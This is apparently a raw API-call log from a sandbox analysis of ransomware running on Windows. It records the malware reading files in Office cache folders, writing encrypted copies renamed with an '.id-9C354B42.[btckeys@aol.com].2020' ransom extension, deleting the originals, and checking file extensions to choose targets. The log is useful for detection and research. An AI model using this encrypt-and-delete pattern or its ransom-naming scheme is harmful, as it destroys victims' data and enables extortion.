1 [0066.079] SetEndOfFile (hFile=0x1b8) returned 1 [0066.080] CloseHandle (hObject=0x1b8) returned 1 [0066.080] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.080] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0066.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.081] lstrlenW (lpString=".doc") returned 4 [0066.081] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.081] lstrlenW (lpString=".docx") returned 5 [0066.081] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.081] lstrlenW (lpString=".pdf") returned 4 [0066.081] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.081] lstrlenW (lpString=".xls") returned 4 [0066.081] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.081] lstrlenW (lpString=".xlsx") returned 5 [0066.081] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.081] lstrlenW (lpString=".ppt") returned 4 [0066.081] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.081] lstrlenW (lpString=".zip") returned 4 [0066.081] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.081] lstrlenW (lpString=".rar") returned 4 [0066.081] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.081] lstrlenW (lpString=".bz2") returned 4 [0066.081] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.081] lstrlenW (lpString=".7z") returned 3 [0066.081] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.081] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.082] lstrlenW (lpString=".dbf") returned 4 [0066.082] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.082] lstrlenW (lpString=".1cd") returned 4 [0066.082] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.082] lstrlenW (lpString=".jpg") returned 4 [0066.082] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.082] lstrlenW (lpString=".doc") returned 4 [0066.082] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString=".docx") returned 5 [0066.082] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0066.082] lstrlenW (lpString=".pdf") returned 4 [0066.082] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString=".xls") returned 4 [0066.082] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString=".xlsx") returned 5 [0066.082] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0066.082] lstrlenW (lpString=".ppt") returned 4 [0066.082] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.082] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.082] lstrlenW (lpString=".zip") returned 4 [0066.082] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.082] lstrlenW (lpString=".rar") returned 4 [0066.082] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.083] lstrlenW (lpString=".bz2") returned 4 [0066.083] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.083] lstrlenW (lpString=".7z") returned 3 [0066.083] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.083] lstrlenW (lpString=".dbf") returned 4 [0066.083] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.083] lstrlenW (lpString=".1cd") returned 4 [0066.083] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.083] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0066.083] lstrlenW (lpString=".jpg") returned 4 [0066.083] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.083] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.083] lstrlenW (lpString="Office32WW.xml") returned 14 [0066.083] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.085] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=4274) returned 1 [0066.085] CloseHandle (hObject=0x1b8) returned 1 [0066.085] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 0x2020 [0066.085] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.085] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.085] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.085] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0066.086] GetLastError () returned 0x0 [0066.086] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x10b2, lpOverlapped=0x0) returned 1 [0066.088] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x10c0, lpOverlapped=0x0) returned 1 [0066.090] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.090] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0066.090] SetEndOfFile (hFile=0x1ac) returned 1 [0066.090] CloseHandle (hObject=0x1ac) returned 1 [0066.091] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.091] SetEndOfFile (hFile=0x1b8) returned 1 [0066.093] CloseHandle (hObject=0x1b8) returned 1 [0066.093] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.093] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml")) returned 1 [0066.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.094] lstrlenW (lpString=".doc") returned 4 [0066.094] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.094] lstrlenW (lpString=".docx") returned 5 [0066.094] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.094] lstrlenW (lpString=".pdf") returned 4 [0066.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.094] lstrlenW (lpString=".xls") returned 4 [0066.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.094] lstrlenW (lpString=".xlsx") returned 5 [0066.094] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.094] lstrlenW (lpString=".ppt") returned 4 [0066.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.094] lstrlenW (lpString=".zip") returned 4 [0066.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.094] lstrlenW (lpString=".rar") returned 4 [0066.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.094] lstrlenW (lpString=".bz2") returned 4 [0066.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString=".7z") returned 3 [0066.095] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.095] lstrlenW (lpString=".dbf") returned 4 [0066.095] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.095] lstrlenW (lpString=".1cd") returned 4 [0066.095] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.095] lstrlenW (lpString=".jpg") returned 4 [0066.095] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.095] lstrlenW (lpString=".doc") returned 4 [0066.095] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString=".docx") returned 5 [0066.095] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.095] lstrlenW (lpString=".pdf") returned 4 [0066.095] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString=".xls") returned 4 [0066.095] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString=".xlsx") returned 5 [0066.095] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.095] lstrlenW (lpString=".ppt") returned 4 [0066.095] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.095] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.095] lstrlenW (lpString=".zip") returned 4 [0066.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.096] lstrlenW (lpString=".rar") returned 4 [0066.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.096] lstrlenW (lpString=".bz2") returned 4 [0066.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.096] lstrlenW (lpString=".7z") returned 3 [0066.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.096] lstrlenW (lpString=".dbf") returned 4 [0066.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.096] lstrlenW (lpString=".1cd") returned 4 [0066.096] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.096] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml") returned 77 [0066.096] lstrlenW (lpString=".jpg") returned 4 [0066.096] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.096] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.096] lstrlenW (lpString="PrjProrWW.xml") returned 13 [0066.096] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.098] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=6421) returned 1 [0066.098] CloseHandle (hObject=0x1b8) returned 1 [0066.098] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 0x2020 [0066.098] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.098] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.098] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.098] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0066.099] GetLastError () returned 0x0 [0066.099] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x1915, lpOverlapped=0x0) returned 1 [0066.101] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x1920, lpOverlapped=0x0) returned 1 [0066.102] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.102] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xee, lpOverlapped=0x0) returned 1 [0066.102] SetEndOfFile (hFile=0x1ac) returned 1 [0066.103] CloseHandle (hObject=0x1ac) returned 1 [0066.105] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.105] SetEndOfFile (hFile=0x1b8) returned 1 [0066.106] CloseHandle (hObject=0x1b8) returned 1 [0066.107] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0066.107] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.xml")) returned 1 [0066.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.107] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.107] lstrlenW (lpString=".doc") returned 4 [0066.107] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.107] lstrlenW (lpString=".docx") returned 5 [0066.107] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.107] lstrlenW (lpString=".pdf") returned 4 [0066.107] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.107] lstrlenW (lpString=".xls") returned 4 [0066.107] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString=".xlsx") returned 5 [0066.108] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.108] lstrlenW (lpString=".ppt") returned 4 [0066.108] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.108] lstrlenW (lpString=".zip") returned 4 [0066.108] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.108] lstrlenW (lpString=".rar") returned 4 [0066.108] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString=".bz2") returned 4 [0066.108] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString=".7z") returned 3 [0066.108] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.108] lstrlenW (lpString=".dbf") returned 4 [0066.108] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.108] lstrlenW (lpString=".1cd") returned 4 [0066.108] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.108] lstrlenW (lpString=".jpg") returned 4 [0066.108] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.108] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.108] lstrlenW (lpString=".doc") returned 4 [0066.108] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0066.109] lstrlenW (lpString=".docx") returned 5 [0066.109] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0066.109] lstrlenW (lpString=".pdf") returned 4 [0066.109] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0066.109] lstrlenW (lpString=".xls") returned 4 [0066.109] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0066.109] lstrlenW (lpString=".xlsx") returned 5 [0066.109] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0066.109] lstrlenW (lpString=".ppt") returned 4 [0066.109] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0066.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.109] lstrlenW (lpString=".zip") returned 4 [0066.109] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0066.109] lstrlenW (lpString=".rar") returned 4 [0066.109] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0066.109] lstrlenW (lpString=".bz2") returned 4 [0066.109] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0066.109] lstrlenW (lpString=".7z") returned 3 [0066.109] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0066.109] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.109] lstrlenW (lpString=".dbf") returned 4 [0066.110] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0066.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.110] lstrlenW (lpString=".1cd") returned 4 [0066.110] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0066.110] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.xml") returned 76 [0066.110] lstrlenW (lpString=".jpg") returned 4 [0066.110] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0066.110] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0066.110] lstrlenW (lpString="Setup.xml") returned 9 [0066.110] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.110] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=16683) returned 1 [0066.111] CloseHandle (hObject=0x1b8) returned 1 [0066.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0066.111] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0066.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0066.111] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.111] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0066.111] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0066.111] GetLastError () returned 0x0 [0066.111] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x412b, lpOverlapped=0x0) returned 1 [0066.714] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0066.716] ReadFile (in: hFile=0x1b8, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0066.718] WriteFile (in: hFile=0x1ac, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0066.719] SetEndOfFile 